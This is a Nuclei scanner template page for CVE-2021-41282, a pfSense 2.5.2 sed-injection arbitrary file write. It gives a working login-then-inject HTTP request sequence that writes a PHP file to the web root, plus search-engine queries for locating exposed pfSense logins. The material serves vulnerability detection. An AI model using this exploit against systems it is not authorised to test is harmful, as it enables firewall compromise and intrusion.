Skip to content
Nuclei Templates

pfSense - Arbitrary File Write

ID: CVE-2021-41282

Severity: high

Author: cckuailong

Tags: cve2021,cve,pfsense,rce,authenticated

Description

Section titled “Description”

diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.

YAML Source

Section titled “YAML Source”
id: CVE-2021-41282


info:
  name: pfSense - Arbitrary File Write
  author: cckuailong
  severity: high
  description: |
    diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized modification of critical system files, potentially resulting in a complete compromise of the pfSense firewall.
  remediation: |
    Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later.
  reference:
    - https://www.shielder.it/advisories/pfsense-remote-command-execution/
    - https://www.rapid7.com/db/modules/exploit/unix/http/pfsense_diag_routes_webshell/
    - https://docs.netgate.com/downloads/pfSense-SA-22_02.webgui.asc
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41282
    - https://docs.netgate.com/pfsense/en/latest/releases/22-01_2-6-0.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-41282
    cwe-id: CWE-74
    epss-score: 0.97112
    epss-percentile: 0.99788
    cpe: cpe:2.3:a:pfsense:pfsense:2.5.2:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: pfsense
    product: pfsense
    shodan-query: http.title:"pfsense - login"
    fofa-query: title="pfsense - login"
    google-query: intitle:"pfsense - login"
  tags: cve2021,cve,pfsense,rce,authenticated


http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        __csrf_magic={{csrf_token}}&usernamefld={{username}}&passwordfld={{password}}&login=
      - |
        GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /test.php HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'c3959e8a43f1b39b0d1255961685a238')"
          - "status_code==200"
        condition: and


    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - '(sid:[a-z0-9,;:]+)'
        internal: true
        part: body
# digest: 4b0a00483046022100d35bfa6601ba427c022a9cf3736b2ceeac09fdeef7a523865070243911175cb7022100b4a044b7a189712fb0935d056c1762b04536794e91e4cdb8f419848f4f2168e7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-41282.yaml"

View on Github